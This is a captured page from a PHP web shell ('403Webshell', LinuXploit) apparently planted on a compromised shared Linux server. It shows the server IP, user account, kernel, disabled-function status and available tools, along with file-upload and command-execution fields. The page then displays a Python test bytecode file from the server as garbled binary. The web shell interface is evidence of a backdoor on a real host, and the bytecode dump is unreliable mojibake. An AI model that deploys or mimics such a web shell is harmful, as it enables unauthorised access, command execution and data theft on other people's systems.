403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_dummy_thread.cpython-36.pyc
3

�w2_�$�@s~ddlZddlZddlZddlZddlZddlmZddlmZdZ	Gdd�dej
�ZGdd�dej
�ZGdd	�d	ej
�Z
dS)
�N)�support)�mockc@szeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
ejd�dd��Zdd�ZdS)�	LockTestszTest lock objects.cCstj�|_dS)N)�_thread�
allocate_lock�lock)�self�r	�;/opt/alt/python36/lib64/python3.6/test/test_dummy_thread.py�setUpszLockTests.setUpcCs|j|jj�d�dS)Nz(Lock object is not initialized unlocked.)�assertFalser�locked)rr	r	r
�
test_initlockszLockTests.test_initlockcCs*|jj�|jj�|j|jj�d�dS)Nz%Lock object did not release properly.)r�acquire�releaserr
)rr	r	r
�test_releases

zLockTests.test_releasec
Cs*tj��WdQRX|j|jj�d�dS)NzAcquired Lock was not released)r�LockTyperrr
)rr	r	r
�test_LockType_context_managers

z'LockTests.test_LockType_context_managercCs|jt|jj�dS)N)�assertRaises�RuntimeErrorrr)rr	r	r
�test_improper_release%szLockTests.test_improper_releasecCs|j|jjd�d�dS)Nrz)Conditional acquiring of the lock failed.)�
assertTruerr)rr	r	r
�test_cond_acquire_success)sz#LockTests.test_cond_acquire_successcCs$|jjd�|j|jjd�d�dS)Nrz=Conditional acquiring of a locked lock incorrectly succeeded.)rrr)rr	r	r
�test_cond_acquire_fail.sz LockTests.test_cond_acquire_failcCs |jj�|j|jj�d�dS)NzUncondional locking failed.)rrrr
)rr	r	r
�test_uncond_acquire_success5s
z%LockTests.test_uncond_acquire_successcCs,|j|jjd�dd�|j|jj�d�dS)N�Tz*Unconditional locking did not return True.)ZassertIsrr)rr	r	r
�test_uncond_acquire_return_val;sz(LockTests.test_uncond_acquire_return_valcCs�dd�}|jj�ttj��}tj||jtf�tjrHt	�t	dt�|jj�ttj��}tjrlt	d�|j
||td�dS)NcSstj|�|j�dS)z:Hold on to lock for a set amount of time before unlocking.N)�time�sleepr)Z	to_unlock�delayr	r	r
�delay_unlockCs
z<LockTests.test_uncond_acquire_blocking.<locals>.delay_unlockz@*** Waiting for thread to release the lock (approx. %s sec.) ***�donez+Blocking by unconditional acquiring failed.)rr�intrr�start_new_thread�DELAYr�verbose�printZassertGreaterEqual)rr Z
start_timeZend_timer	r	r
�test_uncond_acquire_blockingAs

z&LockTests.test_uncond_acquire_blockingz
time.sleepcCs@|jj�|jjddd�}|j|j�|jd�|j|d�dS)z�Test invoking acquire() with a positive timeout when the lock is
        already acquired. Ensure that time.sleep() is invoked with the given
        timeout and that False is returned.rr)ZwaitflagZtimeoutFN)rrr�calledZassert_called_once_with�assertEqual)rZ
mock_sleep�retvalr	r	r
�test_acquire_timeoutVs


zLockTests.test_acquire_timeoutcCs<|jj�|jdt|j��|jj�|jdt|j��dS)Nr
Zunlocked)rrZassertIn�reprr)rr	r	r
�test_lock_representationbs

z"LockTests.test_lock_representationN)�__name__�
__module__�__qualname__�__doc__rrrrrrrrrr'r�patchr+r-r	r	r	r
rsrc@sPeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�ZdS)�	MiscTestszMiscellaneous tests.cCs|jttj�dS)N)r�
SystemExitr�exit)rr	r	r
�	test_exitlszMiscTests.test_exitcCs(|jtj�td�|jtj�dd�dS)Nz*_thread.get_ident() returned a non-integerrz_thread.get_ident() returned 0)�assertIsInstancer�	get_identr"ZassertNotEqual)rr	r	r
�
test_identoszMiscTests.test_identcCs|jtj�tjd�dS)NzR_thread.LockType is not an instance of what is returned by _thread.allocate_lock())r7rrr)rr	r	r
�
test_LockTypeuszMiscTests.test_LockTypecCs|jtj�tjd�dS)Nz;_thread._set_sentinel() did not return a LockType instance.)r7r�
_set_sentinelr)rr	r	r
�test_set_sentinelzszMiscTests.test_set_sentinelcCs dd�}|jttj|t��dS)NcSstj�dS)N)r�interrupt_mainr	r	r	r
�call_interrupt�sz5MiscTests.test_interrupt_main.<locals>.call_interrupt)r�KeyboardInterruptrr#�tuple)rr>r	r	r
�test_interrupt_mains
zMiscTests.test_interrupt_maincCs|jttj�dS)N)rr?rr=)rr	r	r
�test_interrupt_in_main�sz MiscTests.test_interrupt_in_maincCstjd�}|j|d�dS)Nr)r�
stack_sizer))rr*r	r	r
�test_stack_size_None�s
zMiscTests.test_stack_size_Nonec
Cs:|jtj��}tjd�WdQRX|j|jjdd�dS)N�rz'setting thread stack size not supported)rr�errorrCr)�	exception�args)r�cmr	r	r
�test_stack_size_not_None�sz"MiscTests.test_stack_size_not_NoneN)r.r/r0r1r6r9r:r<rArBrDrJr	r	r	r
r3isr3c@sJeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Ze	j
d�d
d��ZdS)�ThreadTestszTest thread creation.cCs�ddd�}tjd�}tj||ddf�|j�}|j|do@|dd�tj|t�|ddd��|j�}|j|dox|dd	�tj||dfd
di�|j�}|j|do�|dd�dS)
NFcSs|j||f�dS)z<Use to test _thread.start_new_thread() passes args properly.N)�put)�queue�arg1�arg2r	r	r
�
arg_tester�sz0ThreadTests.test_arg_passing.<locals>.arg_testerrTrz7Argument passing for thread creation using tuple failed)rMrNrOz8Argument passing for thread creation using kwargs failedrOzGArgument passing for thread creation using both tuple and kwargs failed)FF)rM�Queuerr#�getrr@)rrP�
testing_queue�resultr	r	r
�test_arg_passing�s(


zThreadTests.test_arg_passingcCs�dd�}d}tj|�}tjr2t�tdt|f�x8t|�D],}trTttj�d�}nd}t	j
|||f�q<Wtjt�tjr�td�|j
|j�|d|tf�dS)	NcSstj|�|jtj��dS)N)rrrLrr8)rMrr	r	r
�
queue_mark�s
z:ThreadTests.test_multi_thread_creation.<locals>.queue_mark�zJ*** Testing multiple thread creation (will take approx. %s to %s sec.) ***rrr!z2Not all %s threads executed properly after %s sec.)rMrQrr%r&r$�range�round�randomrr#rrr)Zqsize)rrVZthread_countrS�countZlocal_delayr	r	r
�test_multi_thread_creation�s&

z&ThreadTests.test_multi_thread_creationc
Cs>|jt��}tjtj�g�WdQRX|j|jjdd�dS)z�
        Test invoking start_new_thread() with a non-tuple value for "args".
        Expect TypeError with a meaningful error message to be raised.
        Nrz2nd arg must be a tuple)	r�	TypeErrorrr#r�Mockr)rGrH)rrIr	r	r
�test_args_not_tuple�szThreadTests.test_args_not_tuplecCsD|jt��}tjtj�t�gd�WdQRX|j|jj	dd�dS)z�
        Test invoking start_new_thread() with a non-dict value for "kwargs".
        Expect TypeError with a meaningful error message to be raised.
        )�kwargsNrz3rd arg must be a dict)
rr]rr#rr^r@r)rGrH)rrIr	r	r
�test_kwargs_not_dict�s z ThreadTests.test_kwargs_not_dictcCsDtjt�d�}ytj|t��Wntk
r>|jd�YnXdS)z�
        Test invoking start_new_thread() with a function that raises
        SystemExit.
        The exception should be discarded.
        )�side_effectz#start_new_thread raised SystemExit.N)rr^r4rr#r@Zfail)r�funcr	r	r
�test_SystemExit�s
zThreadTests.test_SystemExitztraceback.print_exccCs*tjtd�}tj|t��|j|j�dS)z�
        Test invoking start_new_thread() with a function that raises exception.

        The exception should be discarded and the traceback should be printed
        via traceback.print_exc()
        )rbN)rr^�	Exceptionrr#r@rr()rZmock_print_excrcr	r	r
�test_RaiseException�szThreadTests.test_RaiseExceptionN)r.r/r0r1rUr\r_rardrr2rfr	r	r	r
rK�s!		rK)Z
_dummy_threadrrrMrZZunittestZtestrrr$ZTestCaserr3rKr	r	r	r
�<module>s]/

Youez - 2016 - github.com/yon3zu
LinuXploit